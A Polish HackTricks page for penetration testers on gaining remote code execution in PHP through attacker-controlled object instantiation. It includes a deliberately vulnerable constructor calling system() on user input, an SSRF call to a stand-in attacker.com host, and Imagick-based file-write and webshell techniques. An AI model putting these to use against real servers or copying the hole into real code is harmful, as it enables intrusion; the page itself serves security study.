6.9 KiB
PHP - RCE wykorzystujące tworzenie obiektów: new $_GET["a"]($_GET["b"])
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
To jest w zasadzie podsumowanie https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Wprowadzenie
Tworzenie nowych dowolnych obiektów, takich jak new $_GET["a"]($_GET["a"])
, może prowadzić do wykonania zdalnego kodu (RCE), jak szczegółowo opisano w artykule. Ten dokument przedstawia różne strategie osiągania RCE.
RCE za pomocą niestandardowych klas lub autoloadingu
Składnia new $a($b)
jest używana do tworzenia obiektu, gdzie $a
reprezentuje nazwę klasy, a $b
jest pierwszym argumentem przekazywanym do konstruktora. Te zmienne mogą pochodzić z danych wprowadzanych przez użytkownika, takich jak GET/POST, gdzie mogą być ciągami znaków lub tablicami, lub z JSON, gdzie mogą być innymi typami.
Przykład kodu poniżej:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
W tym przypadku ustawienie $a
na App
lub App2
oraz $b
na polecenie systemowe (np. uname -a
) powoduje wykonanie tego polecenia.
Funkcje Autoloading mogą być wykorzystane, jeśli nie ma bezpośredniego dostępu do takich klas. Te funkcje automatycznie wczytują klasy z plików, gdy są potrzebne i są definiowane za pomocą spl_autoload_register
lub __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Zachowanie autoloadingu różni się w zależności od wersji PHP, oferując różne możliwości RCE.
RCE za pomocą wbudowanych klas
Brak własnych klas lub autoloadersów może wystarczyć do RCE za pomocą wbudowanych klas PHP. Liczba tych klas waha się od 100 do 200, w zależności od wersji PHP i rozszerzeń. Mogą być one wymienione za pomocą get_declared_classes()
.
Konstruktory, które nas interesują, można zidentyfikować za pomocą interfejsu refleksji, jak pokazano w poniższym przykładzie i na stronie https://3v4l.org/2JEGF.
RCE za pomocą konkretnych metod obejmuje:
SSRF + deserializacja Phar
Klasa SplFileObject
umożliwia SSRF za pomocą swojego konstruktora, pozwalając na połączenia do dowolnego adresu URL:
new SplFileObject('http://attacker.com/');
SSRF może prowadzić do ataków deserializacji w wersjach PHP przed 8.0, korzystając z protokołu Phar.
Wykorzystywanie PDOs
Konstruktor klasy PDO umożliwia połączenia z bazami danych za pomocą ciągów DSN, co potencjalnie umożliwia tworzenie plików lub inne interakcje:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Wersje PHP do 5.3.22 i 5.4.12 były podatne na ataki XXE poprzez konstruktory SoapClient
i SimpleXMLElement
, w zależności od wersji libxml2.
RCE za pomocą rozszerzenia Imagick
Podczas analizy zależności projektu odkryto, że Imagick może być wykorzystany do wykonywania poleceń poprzez tworzenie nowych obiektów. Daje to możliwość wykorzystania podatności.
Analizator VID
Zidentyfikowano możliwość analizatora VID do zapisywania zawartości w określonej ścieżce w systemie plików. Może to prowadzić do umieszczenia powłoki PHP w katalogu dostępnym przez sieć, co umożliwia zdalne wykonanie kodu (RCE).
Analizator VID + Przesyłanie plików
Zauważono, że PHP tymczasowo przechowuje przesłane pliki w /tmp/phpXXXXXX
. Analizator VID w Imagick, wykorzystujący protokół msl, może obsługiwać symbole wieloznaczne w ścieżkach plików, ułatwiając przeniesienie tymczasowego pliku do wybranej lokalizacji. Ta metoda oferuje dodatkowe podejście do osiągnięcia dowolnego zapisu plików w systemie plików.
PHP Crash + Brute Force
Metoda opisana w oryginalnym opracowaniu polega na przesyłaniu plików, które powodują awarię serwera przed usunięciem. Poprzez brutalne próbowanie nazwy tymczasowego pliku, możliwe staje się wykonanie dowolnego kodu PHP przez Imagick. Jednak ta technika okazała się skuteczna tylko w przestarzałej wersji ImageMagick.
Odwołania
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.